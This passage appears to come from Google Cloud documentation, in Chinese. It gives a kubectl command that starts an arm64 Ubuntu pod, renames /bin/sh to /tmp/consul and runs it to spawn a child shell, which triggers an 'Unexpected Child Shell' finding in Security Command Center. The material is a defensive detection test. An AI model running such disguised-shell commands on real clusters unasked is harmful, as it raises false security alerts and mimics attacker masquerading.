tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
這項測試程序會建立 Unexpected Child Shell
發現項目,您可以在 Security Command Center 中查看。如果已為 Container Threat Detection 設定記錄功能,且在機構層級啟用 Security Command Center Premium 或 Enterprise,您也可以在 Cloud Logging 中查看發現項目。